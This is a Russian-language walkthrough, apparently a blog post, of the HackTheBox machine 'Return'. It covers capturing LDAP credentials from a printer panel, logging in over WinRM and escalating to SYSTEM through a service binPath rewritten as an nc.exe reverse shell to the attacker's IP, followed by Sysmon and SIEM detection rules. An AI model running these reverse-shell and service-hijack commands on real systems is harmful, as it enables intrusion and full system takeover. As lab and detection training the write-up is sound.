Перейти к содержимому

HTB Return прохождение: Print Spooler, эскалация до SYSTEM и детект для SOC

HTB Return прохождение: Print Spooler, эскалация до SYSTEM и детект для SOC
Время чтения: 12 мин.

Три CVE в компоненте Windows Print Spooler попали в каталог CISA KEV — это реестр уязвимостей, которые УЖЕ эксплуатируются в реальных атаках. Все три: CVE-2021-34527 (PrintNightmare), CVE-2021-1675 и CVE-2022-21999 (SpoolFool) — помечены флагом «Known To Be Used in Ransomware Campaigns». EPSS (оценка вероятности от 0 до 1, что уязвимость будут эксплуатировать в ближайшие 30 дней) для PrintNightmare — 0.9979. Это Top 0.04% среди всех CVE в базе. Не «теоретическая угроза», а рабочий инструмент в руках ransomware-групп прямо сейчас.

Машина «Return» на HackTheBox моделирует сценарий, приближённый к реальным внутренним пентестам: принтерная веб-панель отдаёт учётные данные сервисной учётной записи, а привилегии группы Server Operators превращаются в путь к SYSTEM. Прохожу машину от nmap до флага администратора и затем собираю детект-правило для SOC на базе Sysmon Event ID 7.

Служба Print Spooler (spoolsv.exe) запускается с привилегиями SYSTEM и доступна по сети. Она установлена и в большинстве конфигураций включена по умолчанию — включая контроллеры домена (хотя Microsoft после PrintNightmare рекомендует отключать её на DC). Компрометация этой службы — выполнение кода с максимальными привилегиями. Без оговорок.

За 2020–2022 годы Microsoft пропатчила серию уязвимостей в этом компоненте, и каждый патч обходили в течение месяцев:

CVE Название CVSS Суть EPSS
CVE-2020-1048 PrintDemon 7.8 (HIGH) Запись файлов в привилегированные директории через порты принтера. CWE-669 0.142 (Top 5%)
CVE-2021-34527 PrintNightmare 8.8 (HIGH) RCE через загрузку вредоносного драйвера принтера по сети. AV:N/AC:L/PR:L/UI:N — атака по сети, низкая сложность, нужна аутентифицированная учётная запись домена с минимальными правами (PR:L — это не unauthenticated RCE), без участия жертвы 0.998 (Top 0.04%)
CVE-2022-21999 SpoolFool 7.8 (HIGH) LPE через directory traversal и improper link resolution при установке драйвера принтера. CWE-22 (Path Traversal) + CWE-59 (Improper Link Resolution) 0.417 (Top 2%)

Архитектурная проблема одна: spoolsv.exe выполняет операции с файлами и DLL от имени SYSTEM, но контролировать параметры этих операций может непривилегированный пользователь. Это не баг конкретной версии — это дизайн.

HTB Return не эксплуатирует PrintNightmare напрямую. Машина моделирует другой вектор: принтерная веб-панель инициирует LDAP-аутентификацию на адрес, который контролирует атакующий. Это ближе к реальным пентестам корпоративных сетей, где МФУ (многофункциональные устройства — принтеры, сканеры, копиры «в одном корпусе») настроены на аутентификацию через LDAP и отправляют пароли в открытом виде.

Требования к окружению

Перед началом убедитесь:

  • ОС: Kali Linux 2022+ или Parrot OS (VM с предустановленными инструментами)
  • RAM: от 2 GB для атакующей машины
  • Сеть: активное VPN-подключение к HTB (openvpn <файл>.ovpn)
  • Инструменты: nmap, evil-winrm (gem install evil-winrm), nc (netcat), crackmapexec
  • IP машины Return: подставьте свой из интерфейса HTB (в статье используется 10.10.11.108)

Разведка: nmap и веб-панель принтера

Полное сканирование nmap -p- --min-rate 10000 10.10.11.108 показывает 26 открытых TCP-портов. Это не веб-сервер и не одиночный хост — набор портов характерен для контроллера домена Active Directory.

Ключевые порты:

Порт Сервис Зачем нам
53 DNS Признак контроллера домена
80 HTTP (IIS 10.0) Веб-панель «HTB Printer Admin Panel»
88 Kerberos Подтверждает роль DC
389 LDAP Каталог Active Directory
445 SMB Проверка доступа к шарам
5985 WinRM Удалённое управление — нужны учётные данные

Версионное сканирование (nmap -p 80,5985,389,445 -sCV 10.10.11.108) уточняет: IIS 10.0, PHP 7.4.13 (по заголовку X-Powered-By в HTTP-ответе), домен return.local, имя хоста PRINTER. По версии IIS и билду (17763) — Windows Server 2019.

Без учётных данных к шарам не попасть. Анонимный доступ к SMB закрыт — тут всё по-взрослому.

Что показывает веб-панель

На порту 80 — «HTB Printer Admin Panel». Страница /settings.php содержит форму с полями: Server Address (printer.return.local), Server Port (389), Username (svc-printer), Password (********). При нажатии «Update» отправляется POST с единственным параметром ip=printer.return.local — порт, логин и пароль зашиты на серверной стороне и не передаются в запросе.

Вывод: при обновлении настроек PHP-бекенд инициирует LDAP bind request (запрос аутентификации) к указанному адресу, отправляя имя пользователя и пароль в открытом виде (simple bind). Если подставить свой IP — сервер отправит учётные данные нам. Принтер сам принесёт пароль на блюдечке.

Перехват учётных данных через LDAP-редирект

[Применимо: внутренний пентест, AD-среда с сетевыми принтерами или веб-панелями МФУ]

Делай раз: на своей машине запускаем netcat-слушатель на порту 389 (стандартный LDAP): nc -lnvp 389.

Делай два: в форме /settings.php меняем Server Address на свой tun0 IP (например, 10.10.14.5) и нажимаем «Update».

Делай три: смотрим вывод в терминале с nc:

Listening on 0.0.0.0 389
Connection received on 10.10.11.108 60662
0*`%return\svc-printer
1edFg43012!!

В потоке данных видно LDAP bindRequest с учётной записью return\svc-printer и паролем в открытом виде. Если соединение приходит, но данные пустые — проверьте, что файервол на VM не блокирует входящие на порт 389. Альтернативно можно использовать responder -I tun0, который распарсит LDAP-трафик и покажет логин/пароль структурированно.

В MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1078 — её идентификаторы, по которым защитники классифицируют действия злоумышленников) этот шаг — T1078 Valid Accounts (тактика Initial Access): получение и использование легитимных учётных данных. Не эксплойт, не zero-day — просто принтер, который доверяет любому IP в поле «Server Address».

Shell через WinRM

WinRM (Windows Remote Management) — служба удалённого управления Windows на порту 5985. Проверяем, подходят ли полученные учётные данные.

Подключаемся: evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'.

Если всё сработало — увидите приглашение *Evil-WinRM* PS C:\Users\svc-printer\Documents>. Если подключение не устанавливается, убедитесь, что порт 5985 открыт и VPN-соединение стабильно.

Флаг пользователя: type ..\Desktop\user.txt. Первая половина выполнена — у нас shell от сервисной учётной записи принтера. Теперь нужно подняться до SYSTEM.

Windows privilege escalation через Server Operators

Предусловия и ограничения

Работает если:

  • Учётная запись состоит в группе Server Operators (или Backup Operators, или обладает привилегией SeRestorePrivilege)
  • Целевая система — Windows Server (группа Server Operators существует только на серверных ОС)
  • Есть хотя бы одна служба, которую эта группа может остановить и запустить

Не работает если:

  • Учётная запись — обычный доменный пользователь без специальных групп
  • На системе стоит EDR с мониторингом модификации binPath служб
  • Политика AppLocker или WDAC блокирует запуск произвольных бинарей из пользовательских директорий
  • Используется gMSA (Group Managed Service Account) с ограниченными правами на управление службами

[Применимо: внутренний пентест, AD-среда с Windows Server 2016/2019/2022]

Подмена службы: шаг за шагом

Команда whoami /groups подтверждает, что svc-printer входит в BUILTIN\Server Operators. Эта группа даёт право модифицировать, запускать и останавливать системные службы. whoami /priv покажет привилегии SeBackupPrivilege, SeRestorePrivilege и SeLoadDriverPrivilege — каждая из них отдельный вектор эскалации, но подмена службы — самый прямой путь.

Делай раз: загружаем nc.exe (netcat для Windows) на целевую машину. В evil-winrm: upload nc.exe C:\Users\svc-printer\nc.exe. Файл окажется в домашней директории пользователя.

Делай два: модифицируем конфигурацию существующей службы и перезапускаем её. На своей машине открываем второй терминал с nc -lnvp 4444. Затем в evil-winrm:

sc.exe config vss binPath= "C:\Users\svc-printer\nc.exe -e cmd.exe 10.10.14.5 4444"
sc.exe stop vss
sc.exe start vss

Здесь vss — служба Volume Shadow Copy. Параметр binPath= меняет исполняемый файл на nc.exe с обратным подключением к нашему IP. Обратите внимание на пробел после binPath= — это не опечатка, а требование синтаксиса sc.exe. Я на этом месте первый раз потерял минут десять, пока не прочитал man.

Делай три: после sc.exe start vss в терминале с nc появится shell. Проверяем: whoami возвращает nt authority\system. Служба запустила nc.exe от имени SYSTEM, и мы получили обратное подключение с максимальными привилегиями.

Если служба vss не запускается (ошибка зависимости), попробуйте browser или другую. Часть служб завершится с ошибкой — и это нормально. sc.exe start заставляет ОС создать процесс из указанного binPath. Поскольку nc.exe не реализует протокол взаимодействия со Service Control Manager (не вызывает ServiceMain и не регистрирует Service Control Handler), SCM через некоторое время посчитает запуск неудачным и вернёт ошибку — как правило, 1053 (таймаут ожидания ответа службы). Но сам процесс nc.exe к этому моменту уже создан ОС и работает независимо от решения SCM. Shell уже активен, ошибку можно игнорировать.

Флаг администратора: type C:\Users\Administrator\Desktop\root.txt.

В MITRE ATT&CK это T1543.003 Create or Modify System Process: Windows Service (тактика Privilege Escalation): злоупотребление легитимными правами группы Server Operators для модификации конфигурации службы и эскалации до SYSTEM.

Детект-правило SOC: Sysmon Event ID 7 и мониторинг DLL

Пройдя Return со стороны атакующего, переключаемся на сторону защиты. Как SOC (Security Operations Center — центр мониторинга безопасности) может обнаружить каждый шаг этой атаки? Атаковать — полдела. Понимать, как тебя поймают — вот что отличает специалиста от скрипт-кидди.

Что фиксирует Sysmon Event ID 7

Sysmon (System Monitor — утилита Microsoft для расширенного аудита Windows) генерирует Event ID 7 при каждой загрузке DLL (динамической библиотеки) процессом. Вот ключевые поля события, на которые стоит обращать внимание:

  • Image — процесс-загрузчик (например, C:\Windows\System32\spoolsv.exe)
  • ImageLoaded — полный путь к загруженной DLL
  • Signed — подписана ли DLL цифровой подписью Microsoft или другим вендором (true/false)
  • Hashes — SHA256 и MD5 файла для сверки с IoC-базами
  • Signature — имя подписанта (если подпись есть)

Для Print Spooler атак типа PrintNightmare (CVE-2021-34527) этот Event ID критичен: эксплойт заставляет spoolsv.exe загрузить вредоносную DLL с удалённого SMB-сервера, и DLL выполняется с правами SYSTEM. Событие Event ID 7 зафиксирует загрузку неподписанной DLL из нестандартного пути — например, \\10.10.14.5\share\evil.dll вместо штатной библиотеки из C:\Windows\System32\.

Конфиг Sysmon для мониторинга spoolsv.exe

Чтобы Sysmon фиксировал подозрительные DLL-загрузки Print Spooler, добавляем правило в конфигурационный XML. Предусловие: Sysmon установлен на целевой системе (sysmon64.exe -accepteula -i config.xml).

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <RuleGroup groupRelation="or">
      <ImageLoad onmatch="include">
        <Image condition="end with">spoolsv.exe</Image>
      </ImageLoad>
    </RuleGroup>
    <RuleGroup groupRelation="or">
      <ImageLoad onmatch="exclude">
        <ImageLoaded condition="begin with">C:\Windows\System32\</ImageLoaded>
      </ImageLoad>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Логика: правило фиксирует случаи, когда spoolsv.exe загружает DLL из директории за пределами C:\Windows\System32\. В штатной работе Print Spooler подгружает библиотеки из System32 — появление DLL из C:\Temp\, C:\Users\Public\ или UNC-пути (\\host\share\) уже индикатор атаки. После применения конфига (sysmon64.exe -c config.xml) проверьте, что события появляются в Event Viewer: Applications and Services LogsMicrosoftWindowsSysmon/Operational.

Дополнительные индикаторы в SIEM

Для атаки, которую мы прошли на Return (подмена binPath службы), Sysmon Event ID 7 — не единственный источник. Полная картина строится из нескольких событий:

EventID Источник Что ловит Приоритет
Sysmon 7 ImageLoad Загрузка неподписанной DLL процессом spoolsv.exe Критичный для PrintNightmare
Sysmon 1 Process Create Запуск sc.exe с параметрами config и binPath Критичный для Return-вектора
Windows 7045 System Создание или изменение конфигурации службы Высокий
Sysmon 3 Network Connection Исходящее соединение от spoolsv.exe на нестандартный порт Средний

В SIEM (система сбора и корреляции событий безопасности) правило корреляции для Return-вектора строится так: фильтруем Sysmon EventID=1, Image содержит sc.exe, CommandLine содержит config и binPath. Если значение binPath указывает на cmd.exe, powershell.exe, nc.exe или любой бинарь из пользовательской директории — это подтверждённый инцидент.

Оговорка: модификация binPath легитимной службы в продуктивной среде — событие редкое, но требует корреляции с контекстом. Плановые окна обслуживания и административные инструменты (SCCM, Group Policy) тоже модифицируют binPath, поэтому без исключения известных источников будут false positives. Но лучше разобрать десять ложных срабатываний, чем пропустить одно настоящее.

Для PrintNightmare-вектора: Sysmon EventID=7, Image=*spoolsv.exe, Signed=false. Каждое такое событие — повод поднять алерт уровня Critical.

Карта атаки: MITRE ATT&CK

Шаг атаки на Return T-код Техника Тактика
Перехват LDAP-учётных данных T1078 Valid Accounts Initial Access
Подключение через WinRM T1059.003 Windows Command Shell Execution
Подмена binPath службы T1543.003 Create or Modify System Process: Windows Service Persistence, Privilege Escalation
Расширенный контекст: PrintNightmare T1547.012 Print Processors Persistence, Privilege Escalation

T1547.012 Print Processors — техника, специфичная для Print Spooler. Злоумышленник регистрирует вредоносный Print Processor (DLL), который spoolsv.exe загружает при каждом запуске службы. На HTB Return эта техника не задействована напрямую, но в реальных атаках с использованием PrintNightmare она обеспечивает персистентность — закрепление в системе после перезагрузки.

По опыту прохождения Windows-машин на HTB — Print Spooler остаётся одним из самых недооценённых векторов в корпоративной защите. Microsoft с 2020 года выпустила патчи для CVE-2020-1048, CVE-2020-1337, CVE-2021-1675, CVE-2021-34527, CVE-2022-21997, CVE-2022-21999 — и как минимум один патч был обойдён в течение месяцев (патч CVE-2020-1048 обошли через CVE-2020-1337). CVE-2021-1675 и CVE-2021-34527 тесно связаны — изначально считались одной уязвимостью, но патч для CVE-2021-1675 не закрыл RCE-вектор, и Microsoft выделила его в отдельный CVE-2021-34527 (PrintNightmare).

Проблема архитектурная: spoolsv.exe по-прежнему работает как SYSTEM, по-прежнему загружает сторонние DLL, по-прежнему включён на контроллерах домена, где печатать никто не собирается. По данным inthewild.io, эксплуатация CVE-2021-34527 зафиксирована с июля 2021 года, а CISA KEV включила её в реестр в ноябре 2021 — уязвимость остаётся актуальной уже больше трёх лет.

Моя рекомендация, которую я даю на каждом внутреннем пентесте: отключите Print Spooler на всех серверах, где не нужна печать. Одна команда PowerShell — Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled — и целый класс атак закрыт. Но на практике я вижу включённый Spooler на DC в четырёх из пяти проектов. Причина обычно одна: «Мы не знали, что он вообще запущен». Именно поэтому мониторинг через Sysmon Event ID 7 — не альтернатива отключению, а страховка на случай, когда отключить «ещё не успели». Если хочешь не просто читать writeup-ы, а пройти базу и атаки, и мониторинга системно — IB Basics на codeby.school закрывает оба направления за пару месяцев.

Эту тему и смежные навыки разбирают на практике в курсе «Аналитик SOC» Codeby Academy.